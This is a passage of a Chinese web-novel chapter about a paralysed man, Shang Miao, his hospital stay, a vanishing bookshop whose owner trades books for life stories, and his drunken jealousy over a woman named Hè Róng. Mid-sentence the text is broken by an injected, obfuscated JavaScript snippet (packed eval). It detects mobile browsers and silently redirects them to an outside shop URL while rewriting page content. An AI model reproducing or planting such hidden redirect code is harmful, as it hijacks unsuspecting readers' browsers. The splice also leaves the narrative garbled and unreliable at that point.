商渺听到她对陈管家说:“陈叔,我都整理好了。很谢谢您这些年的关照,也谢谢您派车送我,我一个人,还真苦恼这夜里去哪约搬家的车。” “鹤小姐,不是我的主意,是商先生思虑周全,他给您都安排好了。” 商渺眼肌抽动,眼球迟缓地滑向门的方向,他听见鹤蓉稍作默然后说:“我走了。陈叔,麻烦您转告商渺哥一声吧。” 人走粥凉。 他闭眼,尽是寥落冰凉的黑。 商渺想,就像他的余生一样。 * 瘫痪病人经不起磕碰,商渺那栽头一摔,摔出右肩轻微骨裂,无奈住院疗养。 商母听闻大儿子住院,飞回国陪了一段时间。 看着儿子每天带着笑,换药不喊疼,吃药不喊苦,还老喊“妈,你歇一歇,我没事”,他是无坚不摧的温柔的代名词。 可夜深,她给商渺掖被子,而后躺回陪护床。 他睁开假寐的眼,凝望着窗外,眼中空无一物,怅然若失地追忆某人。 鹤蓉仍在纳米比亚。 她的研究团队已结束项目折返回国,她留下,加入了当地的一个华人公益组织,教平民窟的儿童读书识字,预计博士答辩再回来。 商母晓得,儿子人在病床上,心早飞了去。 紧紧贴附在那女孩身上。 他没再叨扰她,大号小号也都不再访问她的微博。 伤筋动骨一百天,商渺一住便是三月。 骨裂愈合,他拆了石膏绷带,此前,他右边肩臂的劳损也养好了,只是百天不用,肌肉用尽废退,他右胳膊纤细了一圈,伤愈,功能却退化了,需要后期的康复训练来恢复功用。 出院那天,天朗气清,久违的鸟语花香环绕周身,商渺仰靠在高背轮椅上,屏息细嗅。 “阿渺。”商母的手搭上商渺肩头,和颜悦色道,“今儿天气好,你也出院了,是个好日子。妈听说民俗街那边翻修了,路好走了。你和妈去逛一逛?” 闷了仨月,人心都闷馊了,商母想着带儿子出门透口气,笑道:“就当你陪陪妈。” 伤前,商渺就不是会玩爱玩的那类,伤后,他越是生活轨迹单调,公司、家、医院,三点一线。 鹤蓉忙于她的学业事业,两人很少像普通情侣那样吃喝游玩。 民俗街,他没去过。 重残人士寸步难行,仰仗助行设备行动,一道地坎都能绊住脚步,商渺出门即挑战,不方便,很折腾,但思虑商母想去,她多年不在国内,旧友早失联了,想逛逛怕是都寻不到能陪她的人。 “好。”商渺体恤地笑笑应,“妈,你看中什么,我给你付钱。” * 民俗街铲了石子路,铺了平整地砖,商渺坐着引人瞩目的轮椅,胜在工作日上午,游人不多,也算逛得舒适自在。 午餐,他们找了家有斜坡的馆子吃。 护工给商渺的右手戴上辅助手套,套好叉子,他手臂的力量不如从前,吃吃歇歇,累得无力支撑脑袋,后脑勺嵌在头枕里,右手搭在堆积赘.肉的小腹上,仰着脸,连连直喘气。 商母心疼地看不下去,含着泪去买单了。 出了馆子,商母看儿子精神欠佳,便提议回去吧。 往停车场走时,商母一翻包,大叫不好:“……哎哟!糟了,我的钱包不见了!” 久待国外,生疏国内的手机支付,午餐结账她拿着钱包去结,许是落店里了。国外的ID卡、驾照、银行卡可都在包里,要紧得很! 商母慌了神,提步前进,却驻在分叉口,心慌意乱地摆头看,搞不清该向何方。 “小李,你带我妈去找钱包吧。”商渺对护工说,“我在原地等你们。” 护工放心不下独留商渺一人。 商渺下巴一指一排店家,神情是融雪般的温柔:“光天化日,众目睽睽,我活生生一个成年人,还能丢了不成?你放心吧。” * 日上三竿,日头灼洒上商渺苍白的皮肤,温的,但也晒,他不经热不经晒,体虚易中暑,便环顾四周,找一处阴凉避一避。 满是台阶的店铺,终于,他看见了一家有无障碍斜坡的,瘫手推动手柄,他驾驶电动轮椅,打算开去屋檐下蔽日纳凉。 停下轮椅,头一抬,他眼前正对着店铺的门铃,镶在斑驳的青砖里,造型…… 与时钟相似。 门牌号:807 正看着,风铃摇曳之声潺潺灌入耳内,商渺移目。 檀香木门从内推开,异香拂面,钟声浑厚,只见一位俊美年轻的男人长腿从容,缓步外出。 他扶着门框:“欢迎光临。” 二三十岁,唇红齿白,古典书生扮相,莫名显文绉绉的魅惑气。 商渺知道有人热衷于角色扮演。 他这方面属实门外汉,无知这年轻人在模仿谁,还是他就如此穿衣习惯。 “你好。”商渺微笑颔首,“我借你的屋檐躲躲太阳,会给你添 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鹤蓉苦恼寻不到这本的资源。他帮她找,实体的电子的,国内国外网站都搜寻无果,她垂头丧气地垂眼,说博士论文需要用到…… 他赶紧买来,匿名邮寄给她,还来得及吗? 急切与喜悦交织,商渺抬起手臂去够那本书,臂力下降了,手臂在抬离肩膀高度时骤然失力,落下,掉在了轮椅扶手的外面。 瘫手荡秋千似的晃来晃去,衣袖蹭着轮椅零件。 他急意攻心,生怕有人此时进店把书抢了去,铆足一口气,把掉在外面的手甩起来,甩到腿上,然后蓄足力气抬起来。 “老……老板。”商渺艰难维持这动作,弯曲的手指指向那本书,“那本……请……卖给我。” “好。”书生端方屹立,取下书,却没报价,也没递给商渺,一双眼圆睁,炯炯有神,却无端有种不匹配他年纪的故事感。 “先生。”书生勾笑,“小店立约:凡以浮生片段相告者,皆可自取架上卷册,分文不取。” 商渺微诧:“……不收钱,收我的故事?划算吗?” “自然。”书生道,“以君之故事,换我之缥缃,各得其所,不亦妙哉?” 商渺仍有些不习惯书生的措辞语态,他怀疑书生这样做买卖的方式能收支平衡吗? 他又敛眸沉思。 店有店约,人有人癖,他尊重便好。 “我的故事……”商渺笑意中含着自谑,翻转手腕,手背锤了锤瘫废无用的腿,细白手指不受控地抽了抽,他望向书生,“你也不难看出,我的故事,可能没有那么幸福美满。” “但凡人生所历,皆愿侧耳以闻。” 不知何时,书生已闪现在墨台前,研墨执笔,拓落沉着,似乎捏准了商渺不会拒绝。 “好。我先给我妈发个消息。”商渺总是周到,“我先告诉他们我在你的店里,不然,他们回来找不到我,一定着急。” * 轩窗半启,炉香细细,满架书脊隐隐生光。 书生踞坐墨台前,悬腕作字,笔锋落处,但闻砚池微微有吮墨之声。 他在记录商渺的故事。 商渺思绪溯回儿时,娓娓道来,他左不过物质充裕,情感匮乏的公子哥一枚,没太多谈资。 话头重点落在了与鹤蓉的相知相识。 即便分道扬镳,讲起她,他嘴角依旧始终上翘。 “那个女孩,她喜欢我,这一点,我相信。”商渺不无伤感地一笑,“可我太贪心,我总想,她能不能多喜欢我一些?我渴望成为她心目中最特别的那个人,我不想,平等地得到她的爱。” “我想被她偏爱。” 9. 第九页:似幻境 “我不想,她像热爱生灵草木,热爱亲朋好友那样热爱我。我渴盼,她在看到可爱的小动物时,在看到美丽的风景时,第一时间想起我,分享给我。我希望,她能笃定地把我介绍给她的家人亲友,并说她很爱我,最爱我,我不同于任何人。” “我希望,她因我而悸动,为我而感到心动。” “或许,经济学上的‘供给与需求’之间的矛盾,放在感情里同样适用。我就是那资本家,贪婪,索取无度,得不到,于是恼羞成怒。” “我很自私。我起初,分明暗下决心,我只捆她在身边两年。两年足矣,足够我享受她的好,也足够她卸掉对我的愧疚。” “我却挟制了她四年。” 眼中光影暗灭,商渺忏悔:“我贪得无厌。” 书生顿笔,笔尖悬在纸上,洇开一小点墨:“商先生,你可否认为,她的给予全然出自于亏欠?” 轮椅上,温文儒雅的男人,面露孩童般的迷茫。 良久,商渺快速眨眼,逼退眼眶的酸涩:“我猜,并非‘全然’,但……” 情谊有,欣赏有,喜欢也有。 但一定“亏欠”占主导。 若他误猜,她为何留得坚决,又去如云散?她也掐着日子,到期,觉得债务已清了吧…… 烛火摇摇,照亮商渺眉间丘壑,眉峰虽未蹙,却似远山蒙了雾。 他仍端坐身直,看着,肩膀却又瘦了些。 “世间情债,以亏欠始,以偿还终。”书生停笔抬眸,意味深长道,“却不知真心原非借据,岁月也非账本。世间长久的相伴,生于情愿,而非情债。” 话毕,书生笔搁砚池:“商先生,您的故事小生已收到。小店礼尚往来,定有谢礼。” 商渺沉溺在那份伤怀中,抬腕落腕,指骨敲了敲书籍的硬壳封面,以为谢礼,就是这书:“不必客气,你我也算有缘分。我还得感谢你,我很需要这本书。抱歉,我忘了问,请问怎么称呼?” “鄙姓书。”书生露出范式的笑,“书老板。” “书老板,谢谢你送我的书,也谢谢你,乐意听我聊感情之事。”商渺身边没有适合聊这些的朋友,话说不对,便显得他太悲情,外加身障残疾,听者简直要落泪,他不想害人难过。 今日畅谈,也算一番情绪倾泻。 话毕,商渺礼貌道别,驱动轮椅驶向门口。 书老板出声:“留步。” 商渺掉转轮椅,回身。 书老板仍在桌案前,指尖轻触笔杆,将笔从砚沿缓缓提起,笔锋饱蘸浓墨。 写着属于商渺故事的那页摊开着,仿佛未完待续。 “若时光倒流,商先生,您最愿回到何时?”书老板空的另一只手,两指揩握青花瓷杯,浅饮一口。 杯中茶叶顺时针转。 书生揣测:“您车祸之前?抑或更早?” 商渺只当闲聊,他拢了拢膝上的书,转头厚的一本,他却感知不到星点重量,双腿随年岁流逝而萎缩严重,皮肉几乎分离,膝盖也不似常人,大得刺眼,一双脚进门前摆得端,怎就什么都没做,就一只脚内八字,一只脚脚踝打折了? 虽然麻烦,虽然畸形。 但他不厌恶这副身体。 他大脑灵活,思维睿智。 也认命,既来之则安之。 “如果回到车祸之前,我还会开车去接鹤蓉,义无返顾地去。我相信人命有定数,我避开了那辆货车,也许,灾祸又在下一个路口等我。” “我幸运地顺利到达清吧,接上了她和她的朋友,万一回程,更大的灾难在蛰伏?她也在车上……”思及此,商渺的唇一刹便白了,“那……太恐怖了。” 这是他能想到的,最可怕的事。 怕到甚至不敢多想。 他闭目摇头,抛掉不吉利的念头,不敢沾染半分,瞥到店内的牌匾:【时有术者,溯流时光之河。然往事如简,命有定数,可观,难易。 小本买卖,一经出售,概不退换。】 “书老板,我和你一样,觉得该发生的,终将发生。”商渺道,“改变,需要付出代价,也太困难了,我不敢赌。” “如若还要我再经历一遍车祸,那太痛了,我死过一回,死不起第二回了。何况,我又该怎么去确认,车祸不降于我,又会不会降在我爱的人的头上?我宁愿牺牲我的生命,也务必要她安好。” “另择时日?”书老板问。 “那就……”商渺出声便敛首笑了。 三十岁的人了,竟孩子气地畅想不切实际的。 住院三月,他不抱怨,但扪心,他整个人都锈了,借此机会,他头靠上头枕,双目转动,索性幼稚一回,他驰思:“回到三个月前吧。” “就回到,我在医院遇上她的那天。我好好吃完她煮的山药小米粥,别敏感,别任性,别闹情绪,看着她收拾东西,能搭把手的搭把手,哪怕只是递胶带,最后,送她坐上车,好好跟她道声别。” “仅此而已?”书老板微微歪头,眼明如镜。 商渺收回视线,投向书老板,噙着只幻想便心满意足的笑:“仅此而已。” “贪心之人,会索求爱人的心。” “可以吗?”商渺玩笑口气,全没放在心上,只当和一位古怪的青年胡乱聊了聊。 书老板挑眉:“我的能力不止如此。” 商渺笑着摇摇头,嘴唇动了动,像有话要问,却又抿住了。 “但说无妨。”书老板鼓励道。 “没什么。”商渺问起,“书老板,你是作家吗?你在搜集灵感素材?” “我以售书为业,立身清白。君之旧事,付我耳中,如投书于井,绝不外泄,沉渊而藏。” 书老板纤长食指比在唇珠之上。 嘘—— 神叨叨的人,倒也有趣,商渺推动轮椅手柄:“我妈等我很久了,我该走了。书老板,再次感谢你的厚礼。” “商先生,成交。” 檀木门关上,蓝风铃的铃舌还在叮铃摇晃。 书老板静视商渺开着轮椅路过窗前,直至消失不见,他伏案桌前,提笔,在故事下方写…… 杯中,那一叶状的茶,逆时针转动。 * 路口处,商母和护工显得焦头烂额,逮着一个路过的行人就打听。 商渺困惑皱眉,消息他确定发出去了,还收到了母亲的回复:【你就在那店里,别乱跑,妈妈很快就过去。】 “妈。”商渺扬声唤,轮椅提速上前。 商母几乎扑上来,急得满头大汗:“阿渺你这孩子!你跑哪去了啊!吓死我了!” “那边的那个书店……”商渺用瘫手指向书店方向。 一看,他瞳孔霎时圆扩,手不可置信地颤抖起来,他闭眼睁眼,反复几次,疑似自己眼花。 青砖泥瓦,实心的一面墙。 那书店,仿佛不曾存在过。 * 翌日,商渺在火烧火燎的撕裂痛中醒来。 右臂的骨裂明明已痊愈,却筋膜肌肉又开始叫嚣,那种劳损的痛感回潮,商渺呻.吟,右臂搭在胯上,因他痛得乱动,右手滑落,砸在床上。 “啊……呃……” 牵一发而动全身。 那三个月的休整好似一场空,一夜间,他身子又破败虚弱起来。 他许久没在晨醒时痉挛,而此时,右臂的抽动弥漫至全身,左臂佝偻胸前,不知轻重地捶打胸膛,本就呼吸受阻,拳头急急密密地捶来,他愈是吸半口,漏一口,肺部的氧气暴跌零点。 “嗬嗬……嗬嗬……” 极压抑的闷哼从喉咙底漏出来。 口越张越大,声带破风箱一样,脖子向后,扭成诡异的角度,细白颈子脆弱得像一折就断的线。 瘫.足拍打床面,久不踩地,他皮肤敏感细嫩,脚蹭来蹭去蹭红了脚后跟。 两个护工合力才将他按住,平息了这场暴风雨疯狂般的痉.挛。 商渺脸迅速褪得惨白,唇瓣失血泛青,默默忍耐磨人的疼痛,半晕半醒。 护工检查尿.袋,回流了,透明塑管里充盈着一截刺目鲜血,于心不忍地哀叹:“商先生,今天体检,医生恐怕得给您卸尿.管,上消炎药了。” 体检? 他才刚出院啊。 商渺不无苦涩地笑了笑。 也对,这残躯看来离不了医院了。 * 浑浑噩噩地配合检查,待商渺醒神,导.尿.管已不知去向,他垂眸枯凝臃.肿的腹部。 他穿上纸.尿.裤了。 尿.道划伤,不宜滞留尿.管,在炎症消下去之前,他只能依靠这婴儿用品。 上回检查,除了分泌沉淀物,他尿.路系统算健康,这回,他被送入门诊手术室进行了消炎处理。 主治医生伴了他多年,正在苦口婆心地叮嘱他那些老生常谈,多喝水,多休息,他遵医嘱照做了,可这破身子由不得他。 商渺无神的眼飞向楼下。 楼下停车场,只见鹤蓉从一辆车的副驾驶出来,驾驶位门开,长手长脚的健硕男人豪爽迈出。 ——方怀。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357676|199693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们又一起回国了。 她又陪他来探病他爷爷。 一回念情分,二回呢?有二回便有三回四回数回,像回形针将他们紧密串联。 三个月过去了,他们或许已心意相通。 他算什么? 他连吃醋的资格都没有。 商渺从没觉得身体如此沉,坠入无尽深海,压强挤压他分崩离析,五脏六腑无声地溶水了。 “商先生,你的脸色越来越差了。”医生痛心地嘱咐,“回家喝温水,喝够水,千万切忌冷食酒水。” * 商渺头一回当不像话的病人。 他取消了康复中心检查肩膀的预约,强烈要求医生给他打了封闭针,饮鸩止渴式的止疼,怕这凄惨病容,被鹤蓉和方怀瞧见了,他飞速逃离医院。 回到家,他借口有重要客户来访,商谈内容不可外泄,支走了护工。 会客厅有开放式酒柜,他不贪酒,酒水多用来收藏,偶尔打开,陪人喝一点低度数的红酒。 商渺用两手的掌根,紧紧夹住酒柜底层一瓶已开封的伏特加,连拖带拽拉到腿上,夹着酒瓶,竖起来,牙齿咬掉酒瓶盖。 仰头举瓶,猛灌海塞。 直到手臂累得发抖,架不住酒瓶了,双臂脱力掉在腿上,瓶子骨碌碌滚落在地。 “咔嚓——” 清脆碎裂音,浓烈酒气拔地而起。 陈管家耳闻屋内动静异常,推门进来,看见醉得半死的商渺。 * 他精神错乱了吧? 才会昨日,臆想出了不存在的书店,不知偷还是抢的搞来了一本书,以及今日,此时此刻,他醉眼惺忪,台灯的暖光在眼前晕开。 鹤蓉在光中。 娟秀细眉深深皱着,一扫清冷淡容,两颊微鼓,忧心而又气呼呼。 她的姿容太真实。 真实得让他痴妄,她好像伸手便能触到。 商渺是胆小鬼。 他不敢碰她,梦不醒来便不是梦啊。 “你疯了。” 鹤蓉连愠怒也音色温婉,入耳娓娓动听。 三个月没听过她的声音,被骂了,商渺却笑,酒躁浮红,他面上添了血气,挪动头,依恋地渴望离鹤蓉更近些:“鹤蓉,我疯了。” 都幻视幻听了,他疯得够可以。 “为什么灌醉自己?” 一改随和常态,鹤蓉这句近乎逼问。 “我看到你和方怀在一起,你陪他去探病。” 酒意催人坦诚,他嘟囔着满是酒气的话,翻来覆去傻气地说:“我看到了,我全部看到了,看到你和他,我都看到了……” 鹤蓉潋滟的眸子闪过讶然。 惊讶商渺为何认识方怀,同时,也惊讶商渺这孩子气的醉态。 他从没这样醉过,惹得她破气为笑。 “怎么还耍酒疯呢?”她席地而坐,下巴支在臂上,凝眸柔柔地望他。 “我没有酒,只有疯。” 商渺口齿不清地碎碎念,他疯了。 “因为看见我和方怀走在一起,所以,商渺哥,你把酒当水喝?” 他停下喃喃醉语,咬住下唇,脸埋进枕头,哼了声:“嗯。” “方怀他是我的朋友,他爷爷得了帕金森,不幸摔倒住院了。他想请护工照顾他爷爷,但不清楚门道。”鹤蓉一五一十道,“我很久没回来了,就和方怀一起回国了。方怀在国外很照顾我,我不想欠他的,就想着给他介绍护工,我有这方面的经验。” “我知道。”商渺闷声,“方怀说了。” “方怀说了?”鹤蓉满腔疑惑,“商渺哥,你和方怀认识吗?我之前怎么没听说过。” “认识。”商渺似在梦呓,“我还知道,他喜欢你。他很好,人很老实坦率,但不行,他好粗心,他都不知道你芒果过敏。” 像小孩在胡说梦话,鹤蓉掩着唇偷笑,配合他闹:“那商渺哥,你还知道什么?” “我还知道……”他眼皮迟钝地闭合,“你陪他来一次就有第二次,第三次,很多次。他很好,你更好,你们会在一起……” “没有第二次了。”鹤蓉说,“我已经介绍护工给方怀和他爷爷认识了,我不需要再出面了。我和他是普通朋友也不会在一起。” “你骗我。” 眼波微澜,男人看起来易碎易破,坠重的眼皮半敛着,遮不住瞳色落寞:“分明,第二次了。” 三个月前一次,这又一次。 “你说,你们不会在一起。”他沉声探询,“是不是,也是骗我的呢?”